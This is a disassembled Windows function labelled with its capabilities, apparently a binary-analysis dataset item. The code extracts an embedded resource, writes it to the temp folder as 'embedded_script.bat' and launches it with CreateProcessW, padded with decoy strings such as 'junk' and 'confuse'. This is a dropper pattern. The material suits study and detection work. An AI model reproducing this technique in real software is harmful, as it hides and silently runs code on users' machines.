Function at 0x140001350
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r15
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x350], rax
lea rdx, [rbp + 0x140]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rdx, [rbp + 0x140]
lea rcx, [rsp + 0x58]
call fcn.140002410
mov rbx, rax
xor r15d, r15d
mov rdx, qword [rax + 0x18]
mov rcx, qword [rax + 0x10]
mov rax, rdx
sub rax, rcx
cmp rax, 0x13
jb 0x1400013ec
lea rsi, [rcx + 0x13]
mov rdi, rbx
mov qword [rbx + 0x10], rsi
cmp rdx, 7
jbe 0x1400013cf
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x26
lea rdx, str.embedded_script.bat
call sub.VCRUNTIME140.dll_memmove
mov word [rdi + rsi*2], r15w
jmp 0x14000140c
lea r9, str.embedded_script.bat
mov qword [rsp + 0x20], 0x13
mov edx, 0x13
mov rcx, rbx
call fcn.1400030a0
mov rbx, rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp - 0x68], xmm0
movdqu xmmword [rbp - 0x58], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], 7
mov word [rbx], r15w
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x14000147f
mov rcx, qword [rsp + 0x58]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000147a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000147a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000334c
lea rdx, str.junk
mov qword [rsp + 0x480], r14
lea rcx, [rsp + 0x78]
call fcn.140002410
lea rdx, str.code
lea rcx, [rsp + 0x78]
call fcn.140002a30
lea rdx, str.confuse
lea rcx, [rsp + 0x78]
call fcn.140002a30
mov edx, 0x65
xor ecx, ecx
lea r8d, [rdx - 0x5b]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov r14d, 1
test rax, rax
je 0x1400014ff
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
jne 0x140001542
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], 0xa
call fcn.140002ac0
mov rax, qword [rbp - 0x70]
cmp rax, 5
jb 0x1400016d8
cmp rax, 7
lea rbx, [rsp + 0x78]
mov edi, 5
lea rdx, str.error
cmova rbx, qword [rsp + 0x78]
mov rcx, rbx
mov qword [rbp - 0x78], rdi
lea r8d, [rdi + 5]
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + 0xa], r15w
jmp 0x1400016e7
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test eax, eax
je 0x1400014ff
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x1400014ff
xor edx, edx
lea rcx, [rbp + 0x30]
mov r8d, 0x108
call sub.VCRUNTIME140.dll_memset
cmp qword [rbp - 0x50], 7
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x30]
cmova rdx, qword [rbp - 0x68]
call fcn.140002840
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0xb8], r15
jne 0x1400015c9
call fcn.140001290
jmp 0x1400014ff
mov r8, rsi
mov rdx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x38]
call fcn.140002780
test rax, rax
jne 0x1400015ff
mov rax, qword [rbp + 0x30]
xor r8d, r8d
movsxd rcx, dword [rax + 4]
lea edx, [r8 + 2]
lea rax, [rbp + 0x30]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [rbp + 0x30]
call fcn.140001290
xorps xmm0, xmm0
mov qword [rsp + 0x50], 0x32
xor eax, eax
lea rcx, [rsp + 0x50]
movups xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x40], 0x68
movups xmmword [rbp - 0x10], xmm0
mov dword [rbp - 4], r14d
movups xmmword [rbp], xmm0
mov word [rbp], r15w
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp + 0x20], rax
movups xmmword [rbp - 0x20], xmm0
mov qword [rsp + 0x68], rax
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rsp + 0x58], xmm0
call fcn.140002ac0
cmp qword [rbp - 0x50], 7
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rdx, [rbp - 0x68]
cmova rdx, qword [rbp - 0x68]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r15
xor r8d, r8d
mov qword [rsp + 0x30], r15
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400016b8
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r14d, r15d
jmp 0x1400016e7
mov edi, 5
nop dword [rax]
lea rdx, str.morejunk
lea rcx, [rsp + 0x78]
call fcn.140002a30
sub rdi, r14
jne 0x1400016c0
jmp 0x1400016e7
mov edx, 5
lea rcx, [rsp + 0x78]
call fcn.140002f30
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x140001724
mov rcx, qword [rsp + 0x78]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000171f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000176d
call fcn.14000334c
mov rdx, qword [rbp - 0x50]
mov qword [rbp - 0x78], r15
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], r15w
cmp rdx, 7
jbe 0x140001779
mov rcx, qword [rbp - 0x68]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001774
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001774
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000334c
mov eax, r14d
mov r14, qword [rsp + 0x480]
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.1400032f0
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret